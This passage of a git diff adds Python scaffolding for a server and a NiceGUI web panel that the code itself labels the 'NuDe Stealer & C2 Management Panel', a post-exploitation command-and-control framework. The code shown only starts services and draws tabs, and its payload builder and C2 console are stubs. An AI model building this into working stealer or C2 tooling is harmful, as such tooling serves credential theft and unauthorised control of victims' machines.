port=int(get("network", "port", fallback=56000)), + log_level="debug" if get("general", "debug", fallback=False) else "info", + ) + + server = Server(config) + await server.serve() \ No newline at end of file diff --git a/serverside/routes/version.py b/serverside/routes/version.py new file mode 100644 index 0000000..25a7053 --- /dev/null +++ b/serverside/routes/version.py @@ -0,0 +1,5 @@ +from starlette.responses import JSONResponse +from serverside.helpers.config import get + +async def version(request): + return JSONResponse({"api_version": get("general", "version", fallback="1.0.0")}) diff --git a/serverside/util_s.py b/serverside/util_s.py new file mode 100644 index 0000000..8b160b5 --- /dev/null +++ b/serverside/util_s.py @@ -0,0 +1,32 @@ +import asyncio +from serverside.consts import logger, executor, running_tasks + +async def run_in_thread(name, func, *args, **kwargs): + loop = asyncio.get_event_loop() + try: + await loop.run_in_executor(executor, func, *args, **kwargs) + except asyncio.CancelledError: + logger.info(f"{name} task cancelled.") + raise + except Exception as e: + logger.error(f"Error in {name}: {e}") + +async def stop_task(name): + task = running_tasks.get(name) + if task: + task.cancel() + try: + await task + except asyncio.CancelledError: + logger.info(f"{name} task stopped.") + running_tasks.pop(name, None) + except Exception as e: + logger.error(f"Error stopping {name} task: {e}") + +async def stop_all(): + logger.info("Stopping all services...") + for _, task in running_tasks.items(): + task.cancel() + await asyncio.gather(*running_tasks.values(), return_exceptions=True) + running_tasks.clear() + logger.info("All services stopped.") diff --git a/serverside/websocket_s.py b/serverside/websocket_s.py new file mode 100644 index 0000000..473a0f4 diff --git a/ui/assets/25519.gif b/ui/assets/25519.gif new file mode 100644 index 0000000..48901b0 Binary files /dev/null and b/ui/assets/25519.gif differ diff --git a/ui/assets/25519.mp4 b/ui/assets/25519.mp4 new file mode 100644 index 0000000..f9edcda Binary files /dev/null and b/ui/assets/25519.mp4 differ diff --git a/ui/dat.py b/ui/dat.py new file mode 100644 index 0000000..c4055ce --- /dev/null +++ b/ui/dat.py @@ -0,0 +1,3 @@ +ServerData = { + "api_port": "", +} \ No newline at end of file diff --git a/ui/ui_utils.py b/ui/ui_utils.py new file mode 100644 index 0000000..624873c --- /dev/null +++ b/ui/ui_utils.py @@ -0,0 +1,4 @@ +from ui.dat import ServerData + +def change_data(key, value): + print(f"Changing {key} to {value}") \ No newline at end of file diff --git a/ui/ui_ux.py b/ui/ui_ux.py new file mode 100644 index 0000000..b6dbd8f --- /dev/null +++ b/ui/ui_ux.py @@ -0,0 +1,131 @@ +import threading +import nicegui as ux +from nicegui import ui +from serverside.helpers.config import get +from serverside.consts import __title__, running_tasks +from ui.ui_utils import change_data + +PRIMARY = "bg-[#1E1E1E] text-white" +TITLE_SIZE = "text-[3rem] font-bold" +SUBTITLE_SIZE = "text-xl italic" +FOOTER_SIZE = "text-md italic" + +def start_page(): + ui.label("Welcome to the NuDe Stealer & C2 Management Panel!").classes("text-2xl font-bold text-center") + + with ui.row().classes("w-full items-center px-6 py-3 gap-8"): + if 'server' in running_tasks: + ui.button("Stop API").props("icon=build color=pink-5").classes("w-full") + else: + ui.button("Start API").props("icon=build color=pink-3").classes("w-full") + + if 'ws_server' in running_tasks: + ui.button("Stop WS").props("icon=build color=pink-5").classes("w-full") + else: + ui.button("Start WS").props("icon=build color=pink-3").classes("w-full") + ui.button("Join Telegram").props("icon=code color=purple-11").classes("w-full") + + ui.input(label="API port", placeholder="seegore", value=get("network", "port", fallback="80"), on_change=lambda e: change_data("api_port", e.value)).props("inline color=pink-3").classes("w-full") + + with ui.card().classes("w-full bg-[#1E1E1E] text-white rounded-lg border-2 border-pink-300 p-4"): + ui.label("NuDeStealer is an R&D post-exploitation C2 cross-platform framework written in a combination of V-lang and python, suitable for any red team operations you might have in mind.").classes("text-md") + + ui.label("Changelog:").classes("text-2xl font-bold text-center") + ui.label("23/02/2026 - ~0xschoolshooter").classes("text-lg text-center") + with ui.element().classes("w-full overflow-y-auto rounded-lg border-2 border-pink-300 p-4"): + ui.label("- Initial release of the NuDeStealer C2 Server UI.").classes("text-md") + ui.label("- Features a lightweight and modern interface for managing your C2 server.").classes("text-md") + ui.label("- Server-side encryption.").classes("text-md") + ui.label("- UI/UX improvements.").classes("text-md") + ui.label("- Features Build page for creating payload samples.").classes("text-md") + +def builder_page(): + ui.label("Builder coming soon...").classes("text-2xl font-bold text-center") + +def c2_page(): + ui.label("C2 Console coming soon...").classes("text-2xl font-bold text-center") + +def acc_settings_page(): + ui.label("Account Settings coming soon...").classes("text-2xl font-bold text-center") + +def credits_page(): + ui.label("Credits").classes("text-2xl font-bold text-center") + ui.label("Software Solutions created by 0xschoolshooter").classes("text-lg text-center") + +@ui.page("/") +def landing_page(): + #ui.colors(primary="#1E1E1E") + + ui.add_head_html(''' + +''') + ui.add_css(""" +body { + font-family: "Montserrat", sans-serif; +} +""") + + ui.add_css(""" +.fade-out { + transition: opacity 1.5s ease; + opacity: 0; +} +""") + + with ui.row().classes( + "w-full items-center px-6 py-3 gap-8" + ): + ui.label( + get("general", "app_name", fallback="NuDe Stealer C2") + ).classes(f"{TITLE_SIZE} {PRIMARY}") + + with ui.tabs() as tabs: + ui.tab("Start", icon="start") + ui.tab("Builder", icon="fingerprint") + ui.tab("C2 CONSOLE", icon="terminal") + ui.tab("Account Settings", icon="settings") + ui.tab("Credits", icon="coffee") + + with ui.element().classes("w-full flex-1 px-3 py-3 flex justify-center"): + with ui.element().classes( + "w-full h-full p-4 rounded-2xl border-4 border-pink-300 shadow-lg flex flex-col" + ): + with ui.tab_panels(tabs, value="Start").classes("w-full h-full bg-transparent flex-1"): + with ui.tab_panel("Start"): + start_page() + with ui.tab_panel("Builder"): + builder_page() + with ui.tab_panel("C2 CONSOLE"): + c2_page() + with ui.tab_panel("Account Settings"): + acc_settings_page() + with ui.tab_panel("Credits"): + credits_page() + + + footer = ui.footer().classes(f"{PRIMARY} justify-center") + with footer: + ui.label("Software Solutions created by 0xschoolshooter").classes(FOOTER_SIZE) + def fade_footer(): + footer.style("opacity: 0; transition: opacity 1.5s ease;") + + ui.timer(5.0, fade_footer, once=True) + +"""video_uri = Path(__file__).resolve().parent.joinpath("assets/25519.mp4").as_uri() +v=ui.video( + video_uri, + autoplay=True, + loop=True, + muted=True, + controls=False, +).style( + "position: fixed; top: 0; left: 0; width: 100%; height: 100%; " + "object-fit: cover; z-index: -1;" +) +v.on("ended", lambda _: ui.open("/home"))""" + +def start_ui(): + threading.Thread(target=start_ui_thread, daemon=True).start() + +def start_ui_thread(): + ux.ui.run(title=__title__, reload=False, native=True, port=int(get("ui", "port", fallback=8080)), dark=True, show=False, window_size=(1050, 700)) \ No newline at end of file